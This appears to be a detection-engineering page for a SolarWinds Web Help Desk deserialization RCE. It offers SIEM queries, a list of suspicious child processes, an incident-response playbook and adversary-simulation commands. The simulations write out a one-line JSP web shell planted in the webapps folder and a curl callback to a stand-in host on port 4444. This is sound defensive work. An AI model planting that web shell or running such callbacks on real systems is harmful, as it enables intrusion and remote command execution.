CVE-2025-40551 — SolarWinds Web Help Desk Deserialization RCE
Detects exploitation of CVE-2025-40551, a deserialization of untrusted data vulnerability in SolarWinds Web Help Desk. Successful exploitation allows unauthenticated or low-privileged attackers to achieve remote code execution on the WHD server. This CVE is listed in CISA KEV, indicating active exploitation in the wild.
Vulnerability Intelligence
KEV — Known ExploitedAffected Software
- Vendor
- SolarWinds
- Product
- Web Help Desk
Weakness (CWE)
Timeline
- Disclosed
- February 3, 2026
CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
What is CVE-2025-40551 CVE-2025-40551 — SolarWinds Web Help Desk Deserialization RCE?
CVE-2025-40551 — SolarWinds Web Help Desk Deserialization RCE (CVE-2025-40551) maps to the Initial Access and Execution and Persistence tactics — the adversary is trying to get into your network in MITRE ATT&CK.
This page provides production-ready detection logic for CVE-2025-40551 — SolarWinds Web Help Desk Deserialization RCE, covering the data sources and telemetry it touches: Microsoft Defender for Endpoint, Windows Security Event Log, Sysmon. The queries below are rated critical severity at high confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.
MITRE ATT&CK
- Tactic
- Initial Access Execution Persistence
let WHDProcesses = dynamic(["java", "javaw", "tomcat", "whd"]);
let SuspiciousChildren = dynamic(["cmd.exe", "powershell.exe", "wscript.exe", "cscript.exe", "mshta.exe", "certutil.exe", "bitsadmin.exe", "net.exe", "net1.exe", "whoami.exe", "curl.exe", "wget.exe"]);
union DeviceProcessEvents, SecurityEvent
| where TimeGenerated > ago(7d)
| where (InitiatingProcessFileName in~ (WHDProcesses) and FileName in~ (SuspiciousChildren))
or (EventID == 4688 and ParentProcessName has_any (WHDProcesses) and NewProcessName has_any (SuspiciousChildren))
| project TimeGenerated, DeviceName, AccountName, InitiatingProcessFileName, InitiatingProcessCommandLine, FileName, ProcessCommandLine, InitiatingProcessParentFileName
| extend Alert = "Possible CVE-2025-40551 SolarWinds WHD Deserialization RCE - Suspicious Child Process" Detects suspicious child processes spawned from SolarWinds Web Help Desk Java/Tomcat processes, which may indicate successful deserialization exploitation leading to RCE.
Data Sources
Required Tables
False Positives
- Legitimate administrative Java processes spawning cmd.exe for maintenance tasks
- Automated patching or update scripts launched by WHD service account
- Security tooling or EDR agents running under the Tomcat/WHD process tree
- Scheduled diagnostics or health check scripts invoked by the WHD service
Sigma rule & cross-platform mapping
The detection logic for CVE-2025-40551 — SolarWinds Web Help Desk Deserialization RCE (CVE-2025-40551) above is provided in a vendor-neutral
form so you can deploy it on any SIEM. The same logic is shipped here as native
KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the
following logsource:
logsource:
category: process_creation
product: windows Browse the community-maintained Sigma rules for this technique:
Platform-specific guides for CVE-2025-40551
Testing Methodology
Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Simulate WHD Deserialization RCE — Whoami Execution
Expected signal: ProcessCreate event with ParentImage=java.exe and Image=whoami.exe; captured by Sysmon EventID 1 or Defender DeviceProcessEvents
- Test 2Simulate WHD Deserialization RCE — PowerShell Reverse Shell Stub
Expected signal: ProcessCreate with ParentImage=java.exe, Image=powershell.exe, CommandLine containing '-NoProfile'; network telemetry if actual reverse shell payload used
- Test 3Simulate WHD Web Shell Drop via Java Process
Expected signal: FileCreate event for shell.jsp under WHD webapps directory, initiated by java.exe; Sysmon EventID 11 or DeviceFileEvents
- Test 4Simulate WHD Outbound C2 Callback from Java Process (Linux)
Expected signal: Network connection from java or curl process to external IP on non-standard port; captured by auditd, Falco, or network flow telemetry
Response Playbook
Triage
- Identify the WHD server IP/hostname generating the alert and confirm whether SolarWinds Web Help Desk is installed and running on that system.
- Review process tree for the flagged Java/Tomcat parent and child processes — capture full command lines, user context, and timestamps to distinguish exploitation from legitimate admin activity.
- Check WHD application logs (typically under the WHD installation directory, e.g., /usr/local/webhelpdesk/log/) for abnormal HTTP POST requests or deserialization-related Java exceptions around the alert time.
- Correlate with network logs — look for inbound connections to the WHD port (default 8080/443) from external or untrusted IPs immediately before the process spawn event.
- Verify the WHD version and patch level against the advisory at https://www.solarwinds.com/trust-center/security-advisories/cve-2025-40551 to confirm whether the system is an affected version.
Containment
- If exploitation is confirmed, immediately isolate the WHD server from the network using EDR network containment or firewall ACLs to prevent lateral movement or C2 callback.
- Revoke or rotate all credentials stored in or accessible from the WHD server, including service accounts, database credentials, and API keys, as these may have been exfiltrated.
- Block inbound access to WHD application ports (8080, 443) at the network perimeter until the system is patched and verified clean.
Evidence Collection
- Collect a full memory dump of the WHD server process (Java/Tomcat) and OS for forensic analysis — deserialization payloads may only exist transiently in memory.
- Preserve WHD application logs, Java heap dumps if available, web server access logs, and OS-level process audit logs (Sysmon, auditd) covering the window around the alert.
- Export relevant SIEM telemetry including all process events, network connections, and file writes associated with the WHD process and any child processes for the 48-hour window surrounding the incident.
Escalation Criteria
- ! Escalate immediately to IR if any post-exploitation activity is observed: persistence mechanisms (new scheduled tasks, services, registry run keys), lateral movement, or data exfiltration indicators.
- ! Escalate if the WHD server has access to sensitive infrastructure such as Active Directory, privileged service accounts, or stores credentials for other systems — the blast radius may be organization-wide.
Investigation Guide
Forensic Artifacts
- >
WHD application logs: /usr/local/webhelpdesk/log/helpdesk.log — look for serialized object payloads or Java deserialization stack traces - >
Tomcat access logs showing POST requests with large or encoded bodies to WHD endpoints around the incident time - >
New files created in WHD temp or upload directories shortly after the suspicious process spawn - >
Prefetch files or Shimcache entries for unexpected binaries executed in the context of the WHD service account - >
Network flow records showing outbound connections from the WHD server to external IPs following the exploit event
Tuning Guidance
Start by scoping detections to known WHD server hostnames or IP ranges to reduce noise from unrelated Java processes. Suppress alerts for known-good WHD service account activity that legitimately invokes cmd.exe or PowerShell (e.g., scheduled backup scripts) by allowlisting specific command-line patterns after confirming their legitimacy. If WHD runs in a container or on Linux, adapt parent process name matching to include 'java' without '.exe'. Increase confidence by correlating process spawn events with inbound HTTP POST requests to WHD endpoints in the same 60-second window. For network-based hunting queries, maintain and update an allowlist of known external SolarWinds update/telemetry endpoints to reduce false positives on legitimate outbound Java connections.
Hunting Queries
Hunt for outbound network connections from WHD Java/Tomcat processes to external IPs, which may indicate C2 callback following successful deserialization exploitation.
DeviceNetworkEvents
| where InitiatingProcessFileName in~ ("java.exe", "javaw.exe")
| where RemoteIPType != "Private"
| where TimeGenerated > ago(14d)
| project TimeGenerated, DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine, RemoteIP, RemotePort, RemoteUrl
| order by TimeGenerated desc index=* sourcetype=stream:tcp OR sourcetype="pan:traffic"
| where (process LIKE "%java%" OR process LIKE "%tomcat%")
AND NOT (dest_ip="10.0.0.0/8" OR dest_ip="172.16.0.0/12" OR dest_ip="192.168.0.0/16")
| table _time, host, src_ip, dest_ip, dest_port, process
| sort - _time Hunt for file creation of web shells (.jsp, .jspx) or new Java class/WAR files written by the WHD Java process — a common follow-on after deserialization RCE.
DeviceFileEvents
| where InitiatingProcessFileName in~ ("java.exe", "javaw.exe", "tomcat9.exe")
| where ActionType in ("FileCreated", "FileModified")
| where FileName endswith ".jsp" or FileName endswith ".jspx" or FileName endswith ".war" or FileName endswith ".class"
| where TimeGenerated > ago(14d)
| project TimeGenerated, DeviceName, FolderPath, FileName, InitiatingProcessFileName, InitiatingProcessCommandLine
| order by TimeGenerated desc index=* sourcetype=sysmon EventCode=11
| where (Image LIKE "%java%" OR Image LIKE "%tomcat%")
AND (TargetFilename LIKE "%.jsp%" OR TargetFilename LIKE "%.war" OR TargetFilename LIKE "%.class")
| table _time, host, Image, CommandLine, TargetFilename
| sort - _time Atomic Red Team Tests
Simulates the initial RCE step of CVE-2025-40551 by launching whoami.exe as a child of a Java process, mimicking what a deserialization payload would do on a WHD server.
Command
Start-Process -FilePath "java.exe" -ArgumentList "-jar C:\temp\noop.jar" -PassThru | ForEach-Object { Start-Sleep 1; Start-Process -FilePath "whoami.exe" -NoNewWindow } Cleanup
Stop-Process -Name java -ErrorAction SilentlyContinue Expected Telemetry
ProcessCreate event with ParentImage=java.exe and Image=whoami.exe; captured by Sysmon EventID 1 or Defender DeviceProcessEvents
Expected Detection
Alert triggered on WHDProcesses parent spawning SuspiciousChildren (whoami.exe)
Simulates an attacker using a deserialization payload to launch PowerShell for a reverse shell from a Java/Tomcat parent context.
Command
Start-Process -FilePath "java.exe" -ArgumentList "-jar C:\temp\noop.jar" -PassThru | ForEach-Object { Start-Sleep 1; Start-Process powershell.exe -ArgumentList "-NoProfile -NonInteractive -Command Write-Host 'RCE-SIM'" -NoNewWindow -Wait } Cleanup
Stop-Process -Name java,powershell -ErrorAction SilentlyContinue Expected Telemetry
ProcessCreate with ParentImage=java.exe, Image=powershell.exe, CommandLine containing '-NoProfile'; network telemetry if actual reverse shell payload used
Expected Detection
Alert on Java process spawning PowerShell with non-interactive flags
Simulates an attacker writing a JSP web shell to the WHD web root after achieving RCE through deserialization exploitation.
Command
Start-Process -FilePath "java.exe" -ArgumentList "-jar C:\temp\noop.jar" -PassThru | ForEach-Object { Start-Sleep 1; cmd.exe /c "echo ^<% Runtime.getRuntime().exec(request.getParameter("cmd")); %^> > C:\Program Files\SolarWinds\Web Help Desk\webapps\helpdesk\shell.jsp" } Cleanup
Remove-Item 'C:\Program Files\SolarWinds\Web Help Desk\webapps\helpdesk\shell.jsp' -ErrorAction SilentlyContinue; Stop-Process -Name java -ErrorAction SilentlyContinue Expected Telemetry
FileCreate event for shell.jsp under WHD webapps directory, initiated by java.exe; Sysmon EventID 11 or DeviceFileEvents
Expected Detection
Hunt query alert on Java process creating .jsp file in web application directory
Simulates post-exploitation C2 callback from a Java process on a Linux WHD server after deserialization exploitation.
Command
bash -c 'java -version & sleep 1 && curl -s http://192.0.2.1:4444/beacon --max-time 5 || true' Cleanup
pkill -f 'curl.*192.0.2.1' 2>/dev/null; true Expected Telemetry
Network connection from java or curl process to external IP on non-standard port; captured by auditd, Falco, or network flow telemetry
Expected Detection
Network hunt query alert on Java process initiating outbound connection to external non-RFC1918 IP